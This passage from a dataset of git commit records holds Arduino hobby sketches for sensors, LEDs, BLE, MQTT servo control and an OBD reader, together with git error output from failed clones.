\/\/print LED is on\n lastValue=blueToothVal;\n }\n\ndelay(3000);\/\/Wait 5 seconds before accessing sensor again.\n\n\n\n\n\n\n}\/\/ end loop()\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduinoUNOrev3.ino' did not match any file(s) known to git\n","license":"mpl-2.0","lang":"Arduino"} {"commit":"ff7bd2fd27287d4228ffbe56edfbcc3c2b568b43","subject":"added esp8266 scktch code","message":"added esp8266 scktch code\n","repos":"homotica\/homotica","old_file":"homotica_sketch_esp8266\/homotica_sketch_esp8266.ino","new_file":"homotica_sketch_esp8266\/homotica_sketch_esp8266.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/homotica\/homotica.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"0318fa9c6b39336395e1382bfb5dec536d00bbcf","subject":"Added todo comment about how to fix the bug.","message":"Added todo comment about how to fix the bug.\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver,tomwagner1999\/SmartHome","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"a904cc652a6ad8af26ba5c0a1d416bc41eb8941e","subject":"firmware added","message":"firmware added\n","repos":"kirant400\/freshfreedom,kirant400\/freshfreedom,kirant400\/freshfreedom,kirant400\/freshfreedom","old_file":"firmware\/airquality\/airquality.ino","new_file":"firmware\/airquality\/airquality.ino","new_contents":"\n#include <RFduinoBLE.h>\n\n#define CHILD_ID_AIQ 0\n#define AIQ_SENSOR_ANALOG_PIN 0\n\n#define MQ135_DEFAULTPPM 399 \/\/default ppm of CO2 for calibration\n#define MQ135_DEFAULTRO 68550 \/\/default Ro for MQ135_DEFAULTPPM ppm of CO2\n#define MQ135_SCALINGFACTOR 116.6020682 \/\/CO2 gas value\n#define MQ135_EXPONENT -2.769034857 \/\/CO2 gas value\n#define MQ135_MAXRSRO 2.428 \/\/for CO2\n#define MQ135_MINRSRO 0.358 \/\/for CO2\n\nunsigned long SLEEP_TIME = 3000; \/\/ Sleep time between reads (in seconds)\n\/\/VARIABLES\n\/\/float Ro = 10000.0; \/\/ this has to be tuned 10K Ohm\nfloat mq135_ro = 10000.0; \/\/ this has to be tuned 10K Ohm\nint val = 0; \/\/ variable to store the value coming from the sensor\nfloat valAIQ =0.0;\nfloat lastAIQ =0.0;\n\/\/\nint sensor = 2;\n\nvoid setup() {\n \/\/Pin mode to input for reading sensor MQ 135 data\n pinMode(sensor, INPUT_PULLUP);\n \/\/ initialize serial:\n Serial.begin(9600);\n RFduinoBLE.advertisementData = \"FreshFreedom\";\n Serial.println(\"**Starting FreshFreedom**\");\n \/\/ start the BLE stack\n RFduinoBLE.begin();\n}\n\n\/*\n * get the calibrated ro based upon read resistance, and a know ppm\n *\/\nlong mq135_getro(long resvalue, double ppm) {\nreturn (long)(resvalue * exp( log(MQ135_SCALINGFACTOR\/ppm) \/ MQ135_EXPONENT ));\n}\n\n\/*\n * get the ppm concentration\n *\/\ndouble mq135_getppm(long resvalue, long ro) {\ndouble ret = 0;\ndouble validinterval = 0;\nvalidinterval = resvalue\/(double)ro;\nif(validinterval<MQ135_MAXRSRO && validinterval>MQ135_MINRSRO) {\nret = (double)MQ135_SCALINGFACTOR * pow( ((double)resvalue\/ro), MQ135_EXPONENT);\n}\nreturn ret;\n}\nvoid loop() {\n \n uint16_t sensorValue = analogRead(sensor);\n Serial.print(\"sensorValue:\");\n Serial.println(sensorValue);\n uint16_t val = ((float)47000*(1023-sensorValue)\/sensorValue); \n Serial.print(\"value:\");\n Serial.println(val);\n mq135_ro = mq135_getro(val, MQ135_DEFAULTPPM);\n Serial.print(\"getro:\");\n Serial.println(mq135_ro);\n \/\/convert to ppm (using default ro)\n valAIQ = mq135_getppm(val, MQ135_DEFAULTRO);\n \/\/ send the sample to the Android\n Serial.print(\"getppm:\");\n Serial.println(valAIQ);\n if (valAIQ != lastAIQ) {\n lastAIQ = ceil(valAIQ);\n if(lastAIQ!=0.0){\n RFduinoBLE.sendInt(lastAIQ);\n }\n Serial.print(\"valAIQ:\");\n Serial.println(lastAIQ);\n } \n\n delay(SLEEP_TIME);\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/airquality\/airquality.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"8a3d1f7f0c6f06ad1923d45b79c47f428aec9573","subject":"Fixing file reading bug.","message":"Fixing file reading bug.\n","repos":"tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/SmartHome,tomwagner1999\/esp8266-webserver","old_file":"arduino-server\/arduino-server.ino","new_file":"arduino-server\/arduino-server.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/tomwagner1999\/SmartHome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"7896982b81c6812e27d617df2e04eae0137257af","subject":"Added HelloBlinky example.","message":"Added HelloBlinky example.\n","repos":"Blinkinlabs\/BlinkyTape_Arduino","old_file":"examples\/HelloBlinky\/HelloBlinky.ino","new_file":"examples\/HelloBlinky\/HelloBlinky.ino","new_contents":"#include <FastSPI_LED2.h>\n#include <Animation.h>\n\n#define LED_COUNT 60\nstruct CRGB leds[LED_COUNT];\n\n#define PIN_BUTTON 10\n#define PIN_IO_A 7\n#define PIN_IO_B 11\n#define PIN_SIGNAL 13\n#define PIN_INPUT 10\n\nvoid setup()\n{ \n LEDS.addLeds<WS2811, PIN_SIGNAL, GRB>(leds, LED_COUNT);\n LEDS.showColor(CRGB(0, 0, 0));\n LEDS.setBrightness(0); \/\/ start out with LEDs off\n LEDS.show();\n}\n\nvoid setcolor(int colorcode) {\n\n for (int i = 0; i < LED_COUNT; i++) {\n switch(colorcode) {\n case 0: leds[i].r = 128; break;\n \n case 1: leds[i].g = 128; break;\n \n case 2: leds[i].b = 128; break;\n }\n }\n LEDS.show();\n}\n\nvoid pulse(int wait_time) {\n \/\/ let's fade up by scaling the brightness\n for(int scale = 0; scale < 128; scale++) { \n LEDS.setBrightness(scale);\n LEDS.show();\n delay(wait_time);\n }\n \/\/ now let's fade down by scaling the brightness\n for(int scale = 128; scale > 0; scale--) { \n LEDS.setBrightness(scale);\n LEDS.show();\n delay(10);\n }\n}\n\nvoid loop() {\n int color_set = 2; \/\/ 0 for red, 1 for green, 2 for blue\n int waiting_time = 40; \/\/time in ms for color scaling\n \n setcolor(color_set);\n \n pulse(waiting_time);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/HelloBlinky\/HelloBlinky.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"1f01cee80c4f2b8d737ba4e147c6f3988dc0445b","subject":"water level infromation in tank using ultrasonic sensors.","message":"water level infromation in tank using ultrasonic sensors.\n","repos":"bubblestack\/hydroop","old_file":"tank_water_level.ino","new_file":"tank_water_level.ino","new_contents":"\n#include <NewPing.h>\n\n#define TRIGGER_PIN 12\n#define ECHO_PIN 13\n#define MAX_DISTANCE 300\n\n\nfloat distance;\nfloat tH=86; \/\/ Total Height of Tank in cm. \nfloat radius=10;\nfloat sqr_R=sq(radius); \/\/ Square Radius of Tank 10cm*10cm;\nfloat litre=1000; \/\/1 litre 1000 ml;\nfloat volume;\nfloat f; \/\/ fill height\nfloat Pi=3.14; \n\nNewPing sonar(TRIGGER_PIN, ECHO_PIN, MAX_DISTANCE);\n \nvoid setup() {\n Serial.begin(9600);\n}\n \nvoid loop() {\n delay(1000);\n int uS = sonar.ping_median(15); \/\/ median filter, error correction \n distance=(uS \/ US_ROUNDTRIP_CM); \/\/ calculate distance \n f=(tH-distance); \/\/ calculate fill height of tank\n volume=(Pi*sqr_R*f\/1000); \/\/ calculate volume of liquid \n Serial.println(volume);\n \n\n \n \n \n }\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tank_water_level.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6c56abd028f6b66d9a8f1333292a01ed96dd4bd7","subject":"Add temp sensor example sketch","message":"Add temp sensor example sketch\n","repos":"sandeepmistry\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,sandeepmistry\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,femtoduino\/arduino-BLEPeripheral,possan\/arduino-BLEPeripheral,pi19404\/arduino-BLEPeripheral","old_file":"examples\/temp_sensor\/temp_sensor.ino","new_file":"examples\/temp_sensor\/temp_sensor.ino","new_contents":"\/\/ TimerOne library: https:\/\/code.google.com\/p\/arduino-timerone\/\n#include <TimerOne.h> \n#include <SPI.h>\n#include <BLEPeripheral.h>\n\n\/\/ define pins (varies per shield\/board)\n#define BLE_REQ 10\n#define BLE_RDY 2\n#define BLE_RST 9\n\nBLEPeripheral blePeripheral = BLEPeripheral(BLE_REQ, BLE_RDY, BLE_RST);\n\nBLEService tempService = BLEService(\"CCC0\");\n\nBLEIntCharacteristic tempCharacteristic = BLEIntCharacteristic(\"CCC1\", BLERead | BLENotify);\nBLEDescriptor tempDescriptor = BLEDescriptor(\"2901\", \"Celsius\");\n\nvolatile bool readTemperature = false;\n\nvoid setup() {\n Serial.begin(115200);\n#if defined (__AVR_ATmega32U4__)\n \/\/Wait until the serial port is available (useful only for the Leonardo)\n \/\/As the Leonardo board is not reseted every time you open the Serial Monitor\n while(!Serial) {}\n delay(5000); \/\/5 seconds delay for enabling to see the start up comments on the serial board\n#endif\n\n blePeripheral.setLocalName(\"Temperature\");\n blePeripheral.setAdvertisedServiceUuid(tempService.uuid());\n blePeripheral.addAttribute(tempService);\n blePeripheral.addAttribute(tempCharacteristic);\n blePeripheral.addAttribute(tempDescriptor);\n\n blePeripheral.setEventHandler(BLEConnected, blePeripheralConnectHandler);\n blePeripheral.setEventHandler(BLEDisconnected, blePeripheralDisconnectHandler);\n\n blePeripheral.begin();\n \n Timer1.initialize(1 * 1000000); \/\/ in milliseconds\n Timer1.attachInterrupt(timerHandler);\n}\n\nvoid loop() {\n blePeripheral.poll();\n \n if (readTemperature) {\n setTempCharacteristicValue();\n readTemperature = false;\n }\n}\n\nvoid timerHandler() {\n readTemperature = true;\n}\n\nvoid setTempCharacteristicValue() {\n int temp = readTempC();\n tempCharacteristic.setValue(temp);\n Serial.println(temp);\n}\n\nint readTempC() {\n \/\/ Stubbing out for demo with random value generator\n \/\/ Replace with actual sensor reading code\n return random(100);\n}\n\nvoid blePeripheralConnectHandler(BLECentral& central) {\n Serial.print(F(\"Connected event, central: \"));\n Serial.println(central.address());\n}\n\nvoid blePeripheralDisconnectHandler(BLECentral& central) {\n Serial.print(F(\"Disconnected event, central: \"));\n Serial.println(central.address());\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/temp_sensor\/temp_sensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c8f17a0d59788e879f69e36c114e5e89bdfb9a39","subject":"Added example: RemoteServoControl","message":"Added example: RemoteServoControl\n","repos":"meeo\/meeo-arduino","old_file":"examples\/ESP8266\/RemoteServoControl\/RemoteServoControl.ino","new_file":"examples\/ESP8266\/RemoteServoControl\/RemoteServoControl.ino","new_contents":"\/*\n RemoteServoControl by Meeo\n\n This example will make use of Meeo. If you haven't already,\n visit Meeo at https:\/\/meeo.io and create an account. Then\n check how to get started with the Meeo library through\n https:\/\/github.com\/meeo\/meeo-arduino\n\n\n Remotely control a servo motor\n More details of the project here: https:\/\/meeo.io\/l\/1001\n\n Copyright: Meeo\n Author: Terence Anton Dela Fuente\n License: MIT\n*\/\n#include <Meeo.h>\n#include <Servo.h>\n\n#define SERVO_PIN D1\n#define MAX_ANGLE 180\n#define MIN_ANGLE 0\n\nString nameSpace = \"my_namespace\";\nString accessKey = \"my_access_key\";\nString ssid = \"MyWiFi\";\nString pass = \"qwerty123\";\nString channel = \"servo-sweep\";\n\nServo servo;\n\nvoid setup() {\n Serial.begin(115200);\n\n servo.attach(SERVO_PIN);\n servo.write(MIN_ANGLE);\/\/ Set to starting position\n\n Meeo.setEventHandler(meeoEventHandler);\n Meeo.setDataReceivedHandler(meeoDataHandler);\n Meeo.begin(nameSpace, accessKey, ssid, pass);\n\n}\n\nvoid loop() {\n Meeo.run();\n}\n\nvoid meeoDataHandler(String topic, String payload) {\n Serial.print(topic);\n Serial.print(\": \");\n Serial.println(payload);\n\n if (Meeo.isChannelMatched(topic, channel)) {\n servo.write(map(payload.toInt(),0,100, MIN_ANGLE, MAX_ANGLE));\n }\n}\n\nvoid meeoEventHandler(MeeoEventType event) {\n switch (event) {\n case WIFI_DISCONNECTED:\n Serial.println(\"Not Connected to WiFi\");\n break;\n case WIFI_CONNECTING:\n Serial.println(\"Connecting to WiFi\");\n break;\n case WIFI_CONNECTED:\n Serial.println(\"Connected to WiFi\");\n break;\n case MQ_DISCONNECTED:\n Serial.println(\"Not Connected to MQTT Server\");\n break;\n case MQ_CONNECTED:\n Serial.println(\"Connected to MQTT Server\");\n \/\/ Once connected, subscribe to the channel\n Meeo.subscribe(channel);\n break;\n case MQ_BAD_CREDENTIALS:\n Serial.println(\"Bad Credentials\");\n break;\n case AP_MODE:\n Serial.println(\"AP Mode\");\n break;\n default:\n break;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ESP8266\/RemoteServoControl\/RemoteServoControl.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7281f45efb26ed4e502592f2f8e3e898e114a191","subject":"Adds readerKWP example.","message":"Adds readerKWP example.\n","repos":"iwanders\/OBD9141","old_file":"examples\/readerKWP\/readerKWP.ino","new_file":"examples\/readerKWP\/readerKWP.ino","new_contents":"#include \"Arduino.h\"\n#include \"OBD9141.h\"\n\n#define RX_PIN 0\n#define TX_PIN 1\n#define EN_PIN 2\n\n\nOBD9141 obd;\n\n\nvoid setup(){\n Serial.begin(9600);\n delay(2000);\n\n pinMode(EN_PIN, OUTPUT);\n digitalWrite(EN_PIN, HIGH);\n\n obd.begin(Serial1, RX_PIN, TX_PIN);\n\n}\n \nvoid loop(){\n Serial.println(\"Looping\");\n\n \/\/ only change from reader is the init method here.\n bool init_success = obd.initKWP();\n Serial.print(\"init_success:\");\n Serial.println(init_success);\n\n \/\/init_success = true;\n \/\/ Uncomment this line if you use the simulator to force the init to be\n \/\/ interpreted as successful. With an actual ECU; be sure that the init is \n \/\/ succesful before trying to request PID's.\n\n if (init_success){\n bool res;\n while(1){\n res = obd.getCurrentPID(0x11, 1);\n if (res){\n Serial.print(\"Result 0x11 (throttle): \");\n Serial.println(obd.readUint8());\n }\n \n res = obd.getCurrentPID(0x0C, 2);\n if (res){\n Serial.print(\"Result 0x0C (RPM): \");\n Serial.println(obd.readUint16()\/4);\n }\n\n\n res = obd.getCurrentPID(0x0D, 1);\n if (res){\n Serial.print(\"Result 0x0D (speed): \");\n Serial.println(obd.readUint8());\n }\n Serial.println();\n\n delay(200);\n }\n }\n delay(3000);\n}\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/readerKWP\/readerKWP.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd078d8644cabb242e7f8a2515dda19c55b0ffab","subject":"Added uController skeleton, taking a break","message":"Added uController skeleton, taking a break\n","repos":"paulmandal\/queensmatic,paulmandal\/queensmatic,paulmandal\/queensmatic,paulmandal\/queensmatic","old_file":"ucontroller\/led_controller\/led_controller.ino","new_file":"ucontroller\/led_controller\/led_controller.ino","new_contents":"\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'ucontroller\/led_controller\/led_controller.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"43225faaf3028b86c92c873858d2d8f466710ee2","subject":"Create Beacon.ino","message":"Create Beacon.ino","repos":"Blaze420McYoloSwag\/LiteHaus","old_file":"FastLED\/Beacon.ino","new_file":"FastLED\/Beacon.ino","new_contents":"#include \"captouch.h\"\n#include \"FastLED.h\"\n\n#define RING_PIN 3\n#define RING_LEDS 64\nCRGB ringLeds[RING_LEDS];\n\n#define STRIP_PIN 3\n#define STRIP_LEDS 64\nCRGB stripLeds[STRIP_LEDS];\n\nCRGB red = CHSV( 0, 0, 0);\nCRGB green = CHSV( 85, 0, 0);\nCRGB blue = CHSV( 150, 0, 0);\nCRGB beaconColor = CHSV( 0, 0, 0);\n\nuint8_t colors = 3;\nuint32_t currentPalette = [red, green, blue];\n\n\nCapTouch::Event touchEvent;\n\n\nuint8_t brightness = 254; \/\/Global brightness assignment\n\n\nvoid setup() {\n\tdelay(3000); \/\/ 3 second delay for recovery\n\tParticle.subscribe(\"LampUpdate\", gotColorUpdate, MY_DEVICES);\n\tTouch.setup();\n \tFastLED.addLeds<NEOPIXEL, RING_PIN>(ringLeds, RING_LEDS);\n\tFastLED.addLeds<NEOPIXEL, STRIP_PIN>(stripLeds, STRIP_LEDS);\n\n \t\/\/ set master brightness control\n \tFastLED.setBrightness(brightness);\n}\n\n \nvoid loop()\n{\t\n\ttouchEvent = Touch.getEvent();\n \tif (touchEvent == CapTouch::TouchEvent) {\n\t\twhileTouching();\n\t}\n\tupdate();\n\tFastLED.show();\n}\n\nvoid gotColorUpdate(const char *name, const char *data) {\n\n\tString str = String(data);\n char strBuffer[40] = \"\";\n str.toCharArray(strBuffer, 40);\n colorFromID = strtok(strBuffer, \"~\");\n colorRecieved = atof(strtok(NULL, \"~\"));\n\n \/\/ DEBUG\n String sColorRecieved = String(colorRecieved);\n Particle.publish(\"Color_Recieved\", System.deviceID() + \"~\" + sColorRecieved);\n}\n\nvoid whileTouching() {\n\tuint8_t colorIndex = 0;\n\tuint8_t satBright = 0;\n\tCRGB color = red;\n\n while (touchEvent != CapTouch::ReleaseEvent) {\n\t\tsatBright += 5;\n\t\tcolor.saturation = satBright;\n\t\tcolor.brightness = satBright;\n\t\tif(satBright >= 255){\n\t\t\tsatBright = 0;\n\t\t\tcolorIndex +=1;\n\t\t\tcolor = currentPalette[colorIndex % colors];\t\t\n\t\t} \n\t}\n\tuint8_t pixelsLit = map(satBright,0,255,0,STRIP_LEDS+1);\n\tfor int(i = 0; i == pixelsLit || i == STRIP_LEDS;i++){\n\t\tstripLeds[i] = color;\n\t}\n\tif(pixelsLit > STRIP_LEDS){\n\t\tfill_solid(&ringLeds, RING_LEDS, color); \/\/at max capacity, light up the whole beacon\n\t}\n\tfastLED.show();\n\tbeaconColor = color;\n\tString sColor = String(beaconColor);\n\tParticle.publish(\"colorUpdate\", System.deviceID() + \"~\" + sColor, 60, PRIVATE);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'FastLED\/Beacon.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"e295622a6765aafb9830c75cb95a344568798db6","subject":"Testing ESP module with acm-web","message":"Testing ESP module with acm-web\n","repos":"MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM,MakerLabsVan\/ACM","old_file":"Documentation\/unit tests\/module_test\/module_test.ino","new_file":"Documentation\/unit tests\/module_test\/module_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Documentation\/unit' did not match any file(s) known to git\nerror: pathspec 'tests\/module_test\/module_test.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"51429c8271834a255c024e45502e47534fdb0807","subject":"Adaptive internal lighting rev2","message":"Adaptive internal lighting rev2\n\nAdded interrupt and override functions\n","repos":"rpihomeautomation\/rpihomeautomation,rpihomeautomation\/rpihomeautomation","old_file":"adaptive_lighting_rev2\/adaptive_lighting_rev2.ino","new_file":"adaptive_lighting_rev2\/adaptive_lighting_rev2.ino","new_contents":"\/*\nAdaptive Lighting System\n======== ======== ======\nrev v.1\n#test program for adaptive lighting\n#controls the brightness of an led according to the amount of light present\n#connects the sensor at pin A0 and the LED at pin 9\n#the input is read and the voltage value is send serially\n#the prograam varies it's PWM according to the input voltage\n*\/\n\n\/\/al-adaptive lighting\n\n#define alinput A0\n#define aloutput 9\n#define alinterrupt A1\n#define aloverride A2\n\n\nfloat alsensor,alvoltage; \nint albrightness;\n\nvoid setup() \n{\n Serial.begin(9600);\n pinMode(alinterrupt,INPUT);\n pinMode(aloverride,INPUT);\n}\n\nvoid loop() \n{ alsensor = analogRead(alinput); \/\/read the sensor value\n albrightness = alsensor \/ 4; \/\/convert the value from 10-bit resolution to 8-bit res\n alvoltage = alsensor * (5.0 \/ 1024.0); \/\/convert the value into actual voltage range 0-5V\n Serial.print(\"The voltage is: \"); \/\/prints the voltage through serial\n Serial.println(alvoltage);\n analogWrite(aloutput,albrightness); \/\/output the PWM to the LED\n while(digitalRead(alinterrupt)) \/\/interrupt function\n { if(digitalRead(aloverride)) \/\/override - ON\n analogWrite(aloutput,255);\n else \/\/override - OFF\n analogWrite(aloutput,0);\n }\n delay(500);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'adaptive_lighting_rev2\/adaptive_lighting_rev2.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"945d8a312ffa59e807afef61f4a8a3c2cca2e297","subject":"Small bugfix... again","message":"Small bugfix... again\n","repos":"EmanueleGiacomini\/icaro-robotics,EmanueleGiacomini\/icaro-robotics","old_file":"lectures\/Exercises\/Exercises.ino","new_file":"lectures\/Exercises\/Exercises.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/EmanueleGiacomini\/icaro-robotics.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"c7cee6b20820058229d9f01b6dc85471220183f4","subject":"First draft","message":"First draft\n","repos":"cSquirrel\/arduino-moto-dashboard","old_file":"rev_counter\/rev_counter.ino","new_file":"rev_counter\/rev_counter.ino","new_contents":"\/*\n\n Hall-efect sensor based rev counter\n\n Goals: \n - Use hall-efect sensor\n - detect input changes using interrupts\n - count changes per second ( RPS - revolutions per second )\n - scale up RPS to RPM ( revolutions per minute ) or RPH ( revolutions per hour )\n - do math to derive MPH ( miles per hour ) based on wheel diameter and RPH\n \n Options:\n - use more than one magnet to provide more accurate readings. this imporves low RPM readings.\n \n*\/\n\nint sensor = 0;\nint revs = 0;\n\n\/\/ Arduino UNO support interrupts only on selected pins\n\/\/ see: http:\/\/arduino.cc\/en\/Reference\/attachInterrupt\n#define INT0 0\n#define INT1 1\n#define INT0_PIN 2\n#define INT1_PIN 3\n\nvoid setup() {\n \n Serial.begin(9600); \/\/ DEBUG\n attachInterrupt(INT0, incRevs, FALLING);\n \n}\n\nvoid incRevs() {\n \n int sensorValue = analogRead(INT0_PIN);\n float voltage = sensorValue * (5.0 \/ 1023.0);\n \n \/*\n Sensor keeps voltage on the edge between LOW and HIGH, this couses erratic readings.\n Folowing is used to reduce the problem:\n Count only if voltage drops below major threshold\n *\/\n if (voltage < 2.0) {\n revsCounter++;\n }\n}\n\nvoid loop() {\n \n \/\/ disable interrupts and\n \/\/ save the revs value. \n \/\/ Then reset the counter\n noInterrupts();\n float r = revsCounter;\n revsCounter = 0;\n interrupts();\n \n \/\/ Do the math...\n float rps = r \/ 1.0;\n float rpm = rps * 60;\n float rph = rpm * 60;\n \n \n float diameter = 0.000268308; \/\/ 17 inches in miles\n float c = 2 * PI * diameter;\n float mph = rph * c;\n Serial.println(mph);\n \n delay(1000);\n \n}\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'rev_counter\/rev_counter.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"2364f2b98210469f7d79ce9fec5cc3bb79720b37","subject":"Adding new DT_CheckerOuter via file upload","message":"Adding new DT_CheckerOuter via file upload","repos":"DavidTangye\/sketchbook","old_file":"DT_CheckerOuter\/DT_CheckerOuter.ino","new_file":"DT_CheckerOuter\/DT_CheckerOuter.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/DavidTangye\/sketchbook.git\/'\n","license":"agpl-3.0","lang":"Arduino"} {"commit":"4d5007ec3b6027b735fb372aa9ee48e8b8c7be40","subject":"Added Fishduino_Clock sample program to Fishduino library","message":"Added Fishduino_Clock sample program to Fishduino library\n\nInstead of starting a separate project as I implied in the previous commit, I added Fishduino_Clock to the Fishduino project as a sample. This is not complete yet, it simply forwards the minute hand once a minute.\nThere is some unused data in this, which will be used later.\nThere's also a minor problem with the current code: every once in a while the motor stops too soon because when the switch turns from off->on sometimes there is some bouncing and every once in a while the bouncing is detected as the switch going on, then off again.\n","repos":"jacgoudsmit\/Fishduino","old_file":"Fishduino_Clock\/Fishduino_Clock.ino","new_file":"Fishduino_Clock\/Fishduino_Clock.ino","new_contents":"\/****************************************************************************\nCopyright (c) 2015, Jac Goudsmit\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are met:\n\n* Redistributions of source code must retain the above copyright notice, this\nlist of conditions and the following disclaimer.\n\n* Redistributions in binary form must reproduce the above copyright notice,\nthis list of conditions and the following disclaimer in the documentation\nand\/or other materials provided with the distribution.\n\n* Neither the name of the {organization} nor the names of its\ncontributors may be used to endorse or promote products derived from\nthis software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\nDISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE\nFOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL\nDAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR\nSERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\nCAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,\nOR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n****************************************************************************\/\n\n\n\/* \n This project runs the FischerTechnik clock\n*\/\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ INCLUDES\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n#include <FishduinoMotor.h>\n#include <FishduinoInPin.h>\n\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ TYPES\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\n\/\/ FischerTechnik Clock hardware\nFishduinoMgr fishduino;\nFishduinoMotor motor_min( fishduino, 0, FishduinoMotor::M1);\nFishduinoMotor motor_adj( fishduino, 0, FishduinoMotor::M2);\nFishduinoInPin sensor_m( fishduino, 0, FishduinoInPin::I1); \/\/ Cycles once\/minute\nFishduinoInPin sensor_h( fishduino, 0, FishduinoInPin::I2); \/\/ Cycles once\/hour\nFishduinoInPin sensor_h12(fishduino, 0, FishduinoInPin::I3); \/\/ Cycles once\/12 hours\n\n\/\/ Actual time (that we're supposed to display)\nbyte actual_hour; \/\/ Hours mod 12 (i.e. 